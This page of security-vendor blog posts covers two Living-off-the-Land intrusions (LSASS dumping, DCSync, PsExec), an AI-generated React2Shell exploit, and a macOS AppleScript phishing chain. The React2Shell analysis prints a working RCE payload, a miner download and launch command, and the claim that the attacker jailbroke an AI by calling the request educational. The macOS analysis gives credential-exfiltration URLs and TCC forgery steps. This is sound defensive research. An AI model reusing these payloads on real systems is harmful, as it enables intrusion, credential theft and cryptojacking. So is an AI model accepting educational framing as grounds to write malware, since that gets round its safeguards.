Blog
/
Network
/
February 11, 2025

Defending Against Living-off-the-Land Attacks: Anomaly Detection in Action

Discover how Darktrace detected and responded to cyberattacks using Living-off-the-Land (LOTL) tactics to exploit trusted services and tools on customer networks.
Written by
Alexandra Sentenac
Cyber Analyst
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Alexandra Sentenac
Cyber Analyst
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
11
Feb 2025

What is living-off-the-land?

Threat actors employ a variety of techniques to compromise target networks, including exploiting unpatched vulnerabilities, abusing misconfigurations, deploying backdoors, and creating custom malware. However, these methods generate a lot of noise and are relatively easy for network and host-based monitoring tools to detect, especially once indicators of compromise (IoCs) and tactics, techniques, and procedures (TTPs) are published by the cybersecurity community.

Living-off-the-Land (LOTL) techniques, however, allow attacks to remain nearly invisible to Endpoint Detection and Response (EDR) tools – leveraging trusted protocols, applications and native systems to carry out malicious activity. While mitigations exist, they are often poorly implemented. The Cybersecurity and Infrastructure Security Agency (CISA) found that some organizations “lacked security baselines, allowing [Living-off-the-Land binaries (LOLBins)] to execute and leaving analysts unable to identify anomalous activity” and “organizations did not appropriately tune their detection tools to reduce alert noise, leading to an unmanageable level of alerts to sift through and action" [1].

Darktrace / NETWORK addresses this challenge across Information Technology (IT), Operational Technology (OT), and cloud environments by continuously analyzing network traffic and identifying deviations from normal behavior with its multi-layered AI – helping organizations detect and respond to LOTL attacks in real time.

Darktrace’s detection of LOTL attacks

This blog will review two separate attacks detected by Darktrace that leveraged LOTL techniques at several stages of the intrusion.

Case A

Reconnaissance

In September 2024, a malicious actor gained access to a customer network via their Virtual Private Network (VPN) from two desktop devices that had no prior connection history. Over two days, the attacker conducted multiple network scans, targeting ports associated with Remote Desktop Protocol (RDP) and NTLM authentication. Darktrace detected this unusual activity, triggering multiple alerts for scanning and enumeration activity.

Unusual NTLM authentication attempts using default accounts like “Guest” and “Administrator” were detected. Two days after the initial intrusion, suspicious DRSGetNCChanges requests were observed on multiple domain controllers (DCs), targeting the Directory Replication Service RPC interface (i.e., drsuapi) – a technique used to extract account hashes from DCs. This process can be automated using tools like Mimikatz's DcSync and DCShadow

Around the same time, attacker-controlled devices were seen presenting an admin credential and another credential potentially granting access to Cisco Firewall systems, suggesting successful privilege escalation. Due to the severity of this activity, Darktrace’s Autonomous Response was triggered to prevent the device from further deviation from its normal behavior. However, because Autonomous Response was configured in Human Confirmation mode, the response actions had to be manually applied by the customer.

Cyber AI Analyst Critical Incident showing the unusual DRSGetNCChanges requests following unusual scanning activity.
Figure 1: Cyber AI Analyst Critical Incident showing the unusual DRSGetNCChanges requests following unusual scanning activity.

Lateral movement

Darktrace also detected anomalous RDP connections to domain controllers, originating from an attacker-controlled device using admin and service credentials. The attacker then successfully pivoted to a likely RDP server, leveraging the RDP protocol – one of the most commonly used for lateral movement in network compromises observed by Darktrace.

Cyber Analyst Incident displaying unusual RDP lateral movement connections
Figure 2: Cyber Analyst Incident displaying unusual RDP lateral movement connections.

Tooling

Following an incoming RDP connection, one of the DCs made a successful GET request to the URI '/download/122.dll' on the 100% rare IP, 146.70.145[.]189. The request returned an executable file, which open-source intelligence (OSINT) suggests is likely a CobaltStrike C2 sever payload [2] [3]. Had Autonomous Response been enabled here, it would have blocked all outgoing traffic from the DC allowing the customer to investigate and remediate.

Additionally, Darktrace detected a suspicious CreateServiceW request to the Service Control (SVCCTL) RPC interface on a server. The request executed commands using ‘cmd.exe’ to perform the following actions

  1. Used ‘tasklist’ to filter processes named ”lsass.exe” (Local Security Authority Subsystem Service) to find its specific process ID.
  2. Used “rundll32.exe” to execute the MiniDump function from the “comsvcs.dll” library, creating a memory dump of the “lsass.exe” process.
  3. Saved the output to a PNG file in a temporary folder,

Notably, “cmd.exe” was referenced as “CMd.EXE” within the script, likely an attempt to evade detection by security tools monitoring for specific keywords and patterns.

Model Alert Log showing the unusual SVCCTL create request.
Figure 3: Model Alert Log showing the unusual SVCCTL create request.

Over the course of three days, this activity triggered around 125 Darktrace / NETWORK alerts across 11 internal devices. In addition, Cyber AI Analyst launched an autonomous investigation into the activity, analyzing and connecting 16 separate events spanning multiple stages of the cyber kill chain - from initial reconnaissance to payload retrieval and lateral movement.

Darktrace’s comprehensive detection enabled the customer’s security team to remediate the compromise before any further escalation was observed.

Case B

Between late 2023 and early 2024, Darktrace identified a widespread attack that combined insider and external threats, leveraging multiple LOTL tools for reconnaissance and lateral movement within a customer's network.

Reconnaissance

Initially, Darktrace detected the use of a new administrative credential by a device, which then made unusual RDP connections to multiple internal systems, including a 30-minute connection to a DC. Throughout the attack, multiple unusual RDP connections using the new administrative credential “%admin!!!” were observed, indicating that this protocol was leveraged for lateral movement.

The next day, a Microsoft Defender Security Integration alert was triggered on the device due to suspicious Windows Local Security Authority Subsystem Service (LSASS) credential dump behavior. Since the LSASS process memory can store operating system and domain admin credentials, obtaining this sensitive information can greatly facilitate lateral movement within a network using legitimate tools such as PsExec or Windows Management Instrumentation (WMI) [4]. Security integrations with other security vendors like this one can provide insights into host-based processes, which are typically outside of Darktrace’s coverage. Darktrace’s anomaly detection and network activity monitoring help prioritize the investigation of these alerts.

Three days later, the attacker was observed logging into the DC and querying tickets for the Lightweight Directory Access Protocol (LDAP) service using the default credential “Administrator.” This activity, considered new by Darktrace, triggered an Autonomous Response action that blocked further connections on Kerberos port 88 to the DC. LDAP provides a central location to access and manage data about computers, servers, users, groups, and policies within a network. LDAP enumeration can provide valuable Active Directory (AD) object information to an attacker, which can be used to identify critical attack paths or accounts with high privileges.

Lateral movement

Following the incoming RDP connection, the DC began scanning activities, including RDP and Server Block Message (SMB) services, suggesting the attacker was using remote access for additional reconnaissance. Outgoing RDP connection attempts to over 100 internal devices were observed, with around 5% being successful, highlighting the importance of this protocol for the threat actor’s lateral movement.

Around the same time, the DC made WMI, PsExec, and service control connections to two other DCs, indicating further lateral movement using native administrative protocols and tools. These functions can be leveraged by attackers to query system information, run malicious code, and maintain persistent access to compromised devices while avoiding traditional security tool alarms. In this case, requested services included the IWbemServices (used to access WMI services) and IWbemFetchSmartEnum (used to retrieve a network-optimized enumerator interface) interfaces, with ExecQuery operations detected for the former. This method returns an enumerable collection of IWbemClassObject interface objects based on a query.

Additionally, unusual Windows Remote Management (WinRM) connections to another domain controller were observed. WinRM is a Microsoft protocol that allows systems to exchange and access management information over HTTP(S) across a network, such as running executables or modifying the registry and services.

Cyber AI Analyst Incident showing unusual WMI activity between the two DCs.
Figure 4: Cyber AI Analyst Incident showing unusual WMI activity between the two DCs.

The DC was also detected writing the file “PSEXESVC.exe” to the “ADMIN$” share of another internal device over the SMB file transfer network protocol. This activity was flagged as highly unusual by Darktrace, as these two devices had not previously engaged in this type of SMB connectivity.

It is rare for an attacker to immediately find the information or systems they are after, making it likely they will need to move around the network before achieving their objectives. Tools such as PsExec enable attackers to do this while largely remaining under the radar. With PsExec, attackers who gain access to a single system can connect to and execute commands remotely on other internal systems, access sensitive information, and spread their attack further into the environment.

Model Alert Event Log showing the new write of the file “PSEXESVC.exe” by one of the compromised devices over an SMB connection initiated at an unusual time.
Figure 5. Model Alert Event Log showing the new write of the file “PSEXESVC.exe” by one of the compromised devices over an SMB connection initiated at an unusual time.

Darktrace further observed the DC connecting to the SVCCTL endpoint on a remote device and performing the CreateServiceW operation, which was flagged as highly unusual based on previous behavior patterns between the two devices. Additionally, new ChangeServiceConfigW operations were observed from another device.

Aside from IWbemServices requests seen on multiple devices, Darktrace also detected multiple internal devices connecting to the ITaskSchedulerService interface over DCE-RPC and performing new SchRpcRegisterTask operations, which register a task on the destination system. Attackers can exploit the task scheduler to facilitate the initial or recurring execution of malicious code by a trusted system process, often with elevated permissions. The creation of these tasks was considered new or highly unusual and triggered several anomalous ITaskScheduler activity alerts.

Conclusion

As pointed out by CISA, threat actors frequently exploit the lack of implemented controls on their target networks, as demonstrated in the incidents discussed here. In the first case, VPN access was granted to all domain users, providing the attacker with a point of entry. In the second case, there were no restrictions on the use of RDP within the targeted network segment, allowing the attackers to pivot from device to device.

Darktrace assists security teams in monitoring for unusual use of LOTL tools and protocols that can be leveraged by threat actors to achieve a wide range of objectives. Darktrace’s Self-Learning AI sifts through the network traffic noise generated by these trusted tools, which are essential to administrators and developers in their daily tasks, and highlights any anomalous and potentially unexpected use.

Credit to Alexandra Sentenac (Senior Cyber Analyst) and Ryan Traill (Analyst Content Lead)

References

[1] https://www.cisa.gov/sites/default/files/2024-02/Joint-Guidance-Identifying-and-Mitigating-LOTL_V3508c.pdf

[2] https://www.virustotal.com/gui/ip-address/146.70.145.189/community

[3] https://www.virustotal.com/gui/file/cc9a670b549d84084618267fdeea13f196e43ae5df0d88e2e18bf5aa91b97318

[4]https://www.microsoft.com/en-us/security/blog/2022/10/05/detecting-and-preventing-lsass-credential-dumping-attacks

MITRE Mapping

INITIAL ACCESS - External Remote Services

DISCOVERY - Remote System Discovery

DISCOVERY - Network Service Discovery

DISCOVERY - File and Directory Discovery

CREDENTIAL ACCESS – OS Credential Dumping: LSASS Memory

LATERAL MOVEMENT - Remote Services: Remote Desktop Protocol

LATERAL MOVEMENT - Remote Services: SMB/Windows Admin Shares

EXECUTION - System Services: Service Execution

PERSISTENCE - Scheduled Task

COMMAND AND CONTROL - Ingress Tool Transfer

Darktrace Model Detections

Case A

Device / Suspicious Network Scan Activity

Device / Network Scan

Device / ICMP Address Scan

Device / Reverse DNS Sweep

Device / Suspicious SMB Scanning Activity

Device / Possible SMB/NTLM Reconnaissance

Anomalous Connection / Unusual Admin SMB Session

Device / SMB Session Brute Force (Admin)

Device / Possible SMB/NTLM Brute Force

Device / SMB Lateral Movement

Device / Anomalous NTLM Brute Force

Anomalous Connection / SMB Enumeration

Device / SMB Session Brute Force (Non-Admin)

Device / Anomalous SMB Followed By Multiple Model Breaches

Anomalous Connection / Possible Share Enumeration Activity

Device / RDP Scan

Device / Anomalous RDP Followed By Multiple Model Breaches

Anomalous Connection / Unusual Admin RDP Session

Anomalous Connection / Active Remote Desktop Tunnel

Anomalous Connection / Anomalous DRSGetNCChanges Operation

Anomalous Connection / High Priority DRSGetNCChanges

Compliance / Default Credential Usage

User / New Admin Credentials on Client

User / New Admin Credentials on Server

Device / Large Number of Model Breaches from Critical Network Device

User / New Admin Credential Ticket Request

Compromise / Unusual SVCCTL Activity

Anomalous Connection / New or Uncommon Service Control

Anomalous File / Script from Rare External Location

Anomalous Server Activity / Anomalous External Activity from Critical Network Device

Anomalous File / EXE from Rare External Location

Anomalous File / Numeric File Download

Device / Initial Breach Chain Compromise

Device / Multiple Lateral Movement Model Breaches

Device / Large Number of Model Breaches

Compromise / Multiple Kill Chain Indicators

Case B

User / New Admin Credentials on Client

Compliance / Default Credential Usage

Anomalous Connection / SMB Enumeration

Device / Suspicious SMB Scanning Activity

Device / RDP Scan

Device / New or Uncommon WMI Activity

Device / Anomaly Indicators / New or Uncommon WMI Activity Indicator

Device / New or Unusual Remote Command Execution

Anomalous Connection / New or Uncommon Service Control

Anomalous Connection / Active Remote Desktop Tunnel

Compliance / SMB Drive Write

Anomalous Connection / Anomalous DRSGetNCChanges Operation

Device / Multiple Lateral Movement Model Breaches

Device / Anomalous ITaskScheduler Activity

Anomalous Connection / Unusual Admin RDP Session

Device / Large Number of Model Breaches from Critical Network Device

Compliance / Default Credential Usage

IOC - Type - Description/Probability

146.70.145[.]189 - IP Address - Likely C2 Infrastructure

Written by
Alexandra Sentenac
Cyber Analyst
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Alexandra Sentenac
Cyber Analyst

AI/LLM-Generated Malware Used to Exploit React2Shell

Network
•
February 10, 2026
Nathaniel Bill
Malware Research Engineer
Watch the NIS2 Webinar
Trending blogs
1
Securing Generative AI: Managing Risk in Amazon Bedrock with Darktrace / CLOUD
Nov 19, 2025
2
The 17% of email threats SEGs miss – and how Darktrace catches them
Dec 4, 2025
3
Darktrace Named as a Leader in 2025 Gartner® Magic Quadrant™ for Email Security Platforms
Dec 3, 2025
4
From Amazon to Louis Vuitton: How Darktrace Detects Black Friday Phishing Attacks
Nov 27, 2025
5
Pre-CVE Threat Detection: 10 Examples Identifying Malicious Activity Prior to Public Disclosure of a Vulnerability
Jul 2, 2025

More in this series

No items found.
Continue reading
Network
•
February 10, 2026

AI/LLM-Generated Malware Used to Exploit React2Shell

Darktrace identified an AI/LLM generated malware sample exploiting the React2Shell vulnerability within its Cloudypots environment. The incident shows how LLM‑assisted development enables low‑skill attackers to rapidly create effective exploitation tools. This analysis outlines the attack chain, AI‑generated payload, and the growing defensive challenges posed by accessible, AI‑enabled cyber threats.
Nathaniel Bill
Malware Research Engineer
Read more
Network
•
February 5, 2026

AppleScript Abuse: Unpacking a macOS Phishing Campaign

This blog explores a macOS phishing campaign that leverages social engineering, AppleScript loaders, and attempted abuse of the macOS’ TCC feature to gain privileged access. It highlights a broader trend: attackers increasingly exploit user trust rather than system vulnerabilities, using staged payload delivery and persistence techniques to maintain long‑term access.
Tara Gould
Malware Research Lead
Read more
Network
•
February 3, 2026

Darktrace Malware Analysis: Unpacking SnappyBee

his blog details how to unpack malware like SnappyBee, a modular backdoor linked to Salt Typhoon, revealing its custom packing, DLL sideloading, dynamic API resolution, and multi‑stage in‑memory decryption. It provides analysts with a step‑by‑step guide to extract hidden payloads and understand advanced evasion techniques by sophisticated malware strains.
Nathaniel Bill
Malware Research Engineer
Read more

Blog

/

Network

/

February 10, 2026

AI/LLM-Generated Malware Used to Exploit React2Shell

AI/LLM-Generated Malware Used to Exploit React2ShellDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

A recently observed intrusion against Darktrace’s Cloudypots environment revealed a fully AI‑generated malware sample exploiting CVE-2025-55182, also known as React2Shell. As AI‑assisted software development (“vibecoding”) becomes more widespread, attackers are increasingly leveraging large language models to rapidly produce functional tooling. This incident illustrates a broader shift: AI is now enabling even low-skill operators to generate effective exploitation frameworks at speed. This blog examines the attack chain, analyzes the AI-generated payload, and outlines what this evolution means for defenders.

Initial access

The intrusion was observed against the Darktrace Docker honeypot, which intentionally exposes the Docker daemon internet-facing with no authentication. This configuration allows any attacker to discover the daemon and create a container via the Docker API.

The attacker was observed spawning a container named “python-metrics-collector”, configured with a start up command that first installed prerequisite tools including curl, wget, and python 3.

Container spawned with the name ‘python-metrics-collector’.
Figure 1: Container spawned with the name ‘python-metrics-collector’.

Subsequently, it will download a list of required python packages from

  • hxxps://pastebin[.]com/raw/Cce6tjHM,

Finally it will download and run a python script from:

  • hxxps://smplu[.]link/dockerzero.

This link redirects to a GitHub Gist hosted by user “hackedyoulol”, who has since been banned from GitHub at time of writing.

  • hxxps://gist.githubusercontent[.]com/hackedyoulol/141b28863cf639c0a0dd563344101f24/raw/07ddc6bb5edac4e9fe5be96e7ab60eda0f9376c3/gistfile1.txt

Notably the script did not contain a docker spreader – unusual for Docker-focused malware – indicating that propagation was likely handled separately from a centralized spreader server.

Deployed components and execution chain

The downloaded Python payload was the central execution component for the intrusion. Obfuscation by design within the sample was reinforced between the exploitation script and any spreading mechanism. Understanding that docker malware samples typically include their own spreader logic, the omission suggests that the attacker maintained and executed a dedicated spreading tool remotely.

The script begins with a multi-line comment:
"""
   Network Scanner with Exploitation Framework
   Educational/Research Purpose Only
   Docker-compatible: No external dependencies except requests
"""

This is very telling, as the overwhelming majority of samples analysed do not feature this level of commentary in files, as they are often designed to be intentionally difficult to understand to hinder analysis. Quick scripts written by human operators generally prioritize speed and functionality over clarity. LLMs on the other hand will document all code with comments very thoroughly by design, a pattern we see repeated throughout the sample.  Further, AI will refuse to generate malware as part of its safeguards.

The presence of the phrase “Educational/Research Purpose Only” additionally suggests that the attacker likely jailbroke an AI model by framing the malicious request as educational.

When portions of the script were tested in AI‑detection software, the output further indicated that the code was likely generated by a large language model.

GPTZero AI-detection results indicating that the script was likely generated using an AI model.
Figure 2: GPTZero AI-detection results indicating that the script was likely generated using an AI model.

The script is a well constructed React2Shell exploitation toolkit, which aims to gain remote code execution and deploy a XMRig (Monero) crypto miner. It uses an IP‑generation loop to identify potential targets and executes a crafted exploitation request containing:

  • A deliberately structured Next.js server component payload
  • A chunk designed to force an exception and reveal command output
  • A child process invocation to run arbitrary shell commands

    def execute_rce_command(base_url, command, timeout=120):  
    """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE
    DO NOT MODIFY THIS FUNCTION
    Returns: (success, output)  
    """  
    try: # Disable SSL warnings     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

 crafted_chunk = {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',
      "_response": {
          "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}', {{encoding: 'utf8', maxBuffer: 50 * 1024 * 1024, stdio: ['pipe', 'pipe', 'pipe']}}).toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
          "_formData": {
              "get": "$1:constructor:constructor",
          },
      },
  }

  files = {
      "0": (None, json.dumps(crafted_chunk)),
      "1": (None, '"$@0"'),
  }

  headers = {"Next-Action": "x"}

  res = requests.post(base_url, files=files, headers=headers, timeout=timeout, verify=False)

‍

‍This function is initially invoked with ‘whoami’ to determine if the host is vulnerable, before using wget to download XMRig from its GitHub repository and invoking it with a configured mining pool and wallet address.

‍

]\

WALLET = "45FizYc8eAcMAQetBjVCyeAs8M2ausJpUMLRGCGgLPEuJohTKeamMk6jVFRpX4x2MXHrJxwFdm3iPDufdSRv2agC5XjykhA"
XMRIG_VERSION = "6.21.0"
POOL_PORT_443 = "pool.supportxmr.com:443"
...
print_colored(f"[EXPLOIT] Starting miner on {identifier} (port 443)...", 'cyan')  
miner_cmd = f"nohup xmrig-{XMRIG_VERSION}/xmrig -o {POOL_PORT_443} -u {WALLET} -p {worker_name} --tls -B >/dev/null 2>&1 &"

success, _ = execute_rce_command(base_url, miner_cmd, timeout=10)

Many attackers do not realise that while Monero uses an opaque blockchain (so transactions cannot be traced and wallet balances cannot be viewed), mining pools such as supportxmr will publish statistics for each wallet address that are publicly available. This makes it trivial to track the success of the campaign and the earnings of the attacker.

The supportxmr mining pool overview for the attackers wallet address
Figure 3: The supportxmr mining pool overview for the attackers wallet address

Based on this information we can determine the attacker has made approx 0.015 XMR total since the beginning of this campaign, which as of writing is valued at £5. Per day, the attacker is generating 0.004 XMR, which is £1.33 as of writing. The worker count is 91, meaning that 91 hosts have been infected by this sample.

Conclusion

While the amount of money generated by the attacker in this case is relatively low, and cryptomining is far from a new technique, this campaign is proof that AI based LLMs have made cybercrime more accessible than ever. A single prompting session with a model was sufficient for this attacker to generate a functioning exploit framework and compromise more than ninety hosts, demonstrating that the operational value of AI for adversaries should not be underestimated.

CISOs and SOC leaders should treat this event as a preview of the near future. Threat actors can now generate custom malware on demand, modify exploits instantly, and automate every stage of compromise. Defenders must prioritize rapid patching, continuous attack surface monitoring, and behavioral detection approaches. AI‑generated malware is no longer theoretical — it is operational, scalable, and accessible to anyone.

Analyst commentary

It is worth noting that the downloaded script does not appear to include a Docker spreader, meaning the malware will not replicate to other victims from an infected host. This is uncommon for Docker malware, based on other samples analyzed by Darktrace researchers. This indicates that there is a separate script responsible for spreading, likely deployed by the attacker from a central spreader server. This theory is supported by the fact that the IP that initiated the connection, 49[.]36.33.11, is registered to a residential ISP in India. While it is possible the attacker is using a residential proxy server to cover their tracks, it is also plausible that they are running the spreading script from their home computer. However, this should not be taken as confirmed attribution.

Credit to Nathaniel Bill (Malware Research Engineer), Nathaniel Jones ( VP Threat Research | Field CISO AI Security)

Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

Spreader IP - 49[.]36.33.11
Malware host domain - smplu[.]link
Hash - 594ba70692730a7086ca0ce21ef37ebfc0fd1b0920e72ae23eff00935c48f15b
Hash 2 - d57dda6d9f9ab459ef5cc5105551f5c2061979f082e0c662f68e8c4c343d667d

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer

Blog

/

Network

/

February 9, 2026

AppleScript Abuse: Unpacking a macOS Phishing Campaign

AppleScript Abuse: Unpacking a macOS Phishing CampaignDefault blog imageDefault blog image

Introduction

Darktrace security researchers have identified a campaign targeting macOS users through a multistage malware campaign that leverages social engineering and attempted abuse of the macOS Transparency, Consent and Control (TCC) privacy feature.

The malware establishes persistence via LaunchAgents and deploys a modular Node.js loader capable of executing binaries delivered from a remote command-and-control (C2) server.

Due to increased built-in security mechanisms in macOS such as System Integrity Protection (SIP) and Gatekeeper, threat actors increasingly rely on alternative techniques, including fake software and ClickFix attacks [1] [2]. As a result, macOS threats r[NJ1] ely more heavily on social engineering instead of vulnerability exploitation to deliver payloads, a trend Darktrace has observed across the threat landscape [3].

Technical analysis

The infection chain starts with a phishing email that prompts the user to download an AppleScript file named “Confirmation_Token_Vesting.docx.scpt”, which attemps to masquerade as a legitimate Microsoft document.

The AppleScript header prompting execution of the script.
Figure 1: The AppleScript header prompting execution of the script.

Once the user opens the AppleScript file, they are presented with a prompt instructing them to run the script, supposedly due to “compatibility issues”. This prompt is necessary as AppleScript requires user interaction to execute the script, preventing it from running automatically. To further conceal its intent, the malicious part of the script is buried below many empty lines, assuming a user likely will not to the end of the file where the malicious code is placed.

Curl request to receive the next stage.
Figure 2: Curl request to receive the next stage.

This part of the script builds a silent curl request to “sevrrhst[.]com”, sending the user’s macOS operating system, CPU type and language. This request retrieves another script, which is saved as a hidden file at in ~/.ex.scpt, executed, and then deleted.

The retrieved payload is another AppleScript designed to steal credentials and retrieve additional payloads. It begins by loading the AppKit framework, which enables the script to create a fake dialog box prompting the user to enter their system username and password [4].

Fake dialog prompt for system password.
Figure 3: Fake dialog prompt for system password.

The script then validates the username and password using the command "dscl /Search -authonly <username> <password>", all while displaying a fake progress bar to the user. If validation fails, the dialog window shakes suggesting an incorrect password and prompting the user to try again. The username and password are then encoded in Base64 and sent to: https://sevrrhst[.]com/css/controller.php?req=contact&ac=<user>&qd=<pass>.

Figure 4: Requirements gathered on trusted binary.

Within the getCSReq() function, the script chooses from trusted Mac applications: Finder, Terminal, Script Editor, osascript, and bash. Using the codesign command codesign -d --requirements, it extracts the designated code-signing requirement from the target application. If a valid requirement cannot be retrieved, that binary is skipped. Once a designated requirement is gathered, it is then compiled into a binary trust object using the Code Signing Requirement command (csreq). This trust object is then converted into hex so it can later be injected into the TCC SQLite database.[NB2]

To bypass integrity checks, the TCC directory is renamed to com.appled.tcc using Finder. TCC is a macOS privacy framework designed to restrict application access to sensitive data, requiring users to explicitly grant permissions before apps can access items such as files, contacts, and system resources [1].

Example of how users interact with TCC.
Figure 5: TCC directory renamed to com.appled.TCC.
Figure 6: Example of how users interact with TCC.

After the database directory rename is attempted, the killall command is used on the tccd daemon to force macOS to release the lock on the database. The database is then injected with the forged access records, including the service, trusted binary path, auth_value, and the forged csreq binary. The directory is renamed back to com.apple.TCC, allowing the injected entries to be read and the permissions to be accepted. This enables persistence authorization for:

  • Full disk access
  • Screen recording
  • Accessibility
  • Camera
  • Apple Events 
  • Input monitoring

The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions.

Although the malware is attempting to manipulate TCC state via Finder, a trusted system component, Apple has introduced updates in recent macOS versions that move much of the authorization enforcement into the tccd daemon. These updates prevent unauthorized permission modifications through directory or database manipulation. As a result, the script may still succeed on some older operating systems, but it is likely to fail on newer installations, as tcc.db reloads now have more integrity checks and will fail on Mobile Device Management (MDM) [NB5] systems as their profiles override TCC.

Snippet of decoded Base64 response.
Figure 7: Snippet of decoded Base64 response.

A request is made to the C2, which retrieves and executes a Base64-encoded script. This script retrieves additional payloads based on the system architecture and stores them inside a directory it creates named ~/.nodes. A series of requests are then made to sevrrhst[.]com for:

/controller.php?req=instd

/controller.php?req=tell

/controller.php?req=skip

These return a node archive, bundled Node.js binary, and a JavaScript payload. The JavaScript file, index.js, is a loader that profiles the system and sends the data to the C2. The script identified the system platform, whether macOS, Linux or Windows, and then gathers OS version, CPU details, memory usage, disk layout, network interfaces, and running process. This is sent to https://sevrrhst[.]com/inc/register.php?req=init as a JSON object. The victim system is then registered with the C2 and will receive a Base64-encoded response.

LaunchAgent patterns to be replaced with victim information.
Figure 8: LaunchAgent patterns to be replaced with victim information.

The Base64-encoded response decodes to an additional Javacript that is used to set up persistence. The script creates a folder named com.apple.commonjs in ~/Library and copies the Node dependencies into this directory. From the C2, the files package.json and default.js are retrieved and placed into the com.apple.commonjs folder. A LaunchAgent .plist is also downloaded into the LaunchAgents directory to ensure the malware automatically starts. The .plist launches node and default.js on load, and uses output logging to log errors and outputs.

Default.js is Base64 encoded JavaScript that functions as a command loop, periodically sending logs to the C2, and checking for new payloads to execute. This gives threat actors ongoing and the ability to dynamically modify behavior without having to redeploy the malware. A further Base64-encoded JavaScript file is downloaded as addon.js.

Addon.js is used as the final payload loader, retrieving a Base64-encoded binary from https://sevrrhst[.]com/inc/register.php?req=next. The binary is decoded from Base64 and written to disk as “node_addon”, and executed silently in the background. At the time of analysis, the C2 did not return a binary, possibly because certain conditions were not met.  However, this mechanism enables the delivery and execution of payloads. If the initial TCC abuse were successful, this payload could access protected resources such as Screen Capture and Camera without triggering a consent prompt, due to the previously established trust.

Conclusion

This campaign shows how a malicious threat actor can use an AppleScript loader to exploit user trust and manipulate TCC authorization mechanisms, achieving persistent access to a target network without exploiting vulnerabilities.

Although recent macOS versions include safeguards against this type of TCC abuse, users should keep their systems fully updated to ensure the most up to date protections.  These findings also highlight the intentions of threat actors when developing malware, even when their implementation is imperfect.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

88.119.171[.]59

sevrrhst[.]com

https://sevrrhst[.]com/inc/register.php?req=next

https://stomcs[.]com/inc/register.php?req=next
https://techcross-es[.]com

Confirmation_Token_Vesting.docx.scpt - d3539d71a12fe640f3af8d6fb4c680fd

EDD_Questionnaire_Individual_Blank_Form.docx.scpt - 94b7392133935d2034b8169b9ce50764

Investor Profile (Japan-based) - Shiro Arai.pdf.scpt - 319d905b83bf9856b84340493c828a0c

MITRE ATTACK

T1566 - Phishing

T1059.002 - Command and Scripting Interpreter: Applescript

T1059.004 – Command and Scripting Interpreter: Unix Shell

T1059.007 – Command and Scripting Interpreter: JavaScript

T1222.002 – File and Directory Permissions Modification

T1036.005 – Masquerading: Match Legitimate Name or Location

T1140 – Deobfuscate/Decode Files or Information

T1547.001 – Boot or Logon Autostart Execution: Launch Agent

T1553.006 – Subvert Trust Controls: Code Signing Policy Modification

T1082 – System Information Discovery

T1057 – Process Discovery

T1105 – Ingress Tool Transfer

References

[1] https://www.darktrace.com/blog/from-the-depths-analyzing-the-cthulhu-stealer-malware-for-macos

[2] https://www.darktrace.com/blog/unpacking-clickfix-darktraces-detection-of-a-prolific-social-engineering-tactic

[3] https://www.darktrace.com/blog/crypto-wallets-continue-to-be-drained-in-elaborate-social-media-scam

[4] https://developer.apple.com/documentation/appkit

[5] https://www.huntress.com/blog/full-transparency-controlling-apples-tcc

Continue reading
About the author
Tara Gould
Malware Research Lead
Your data. Our AI.
Elevate your network security with Darktrace AI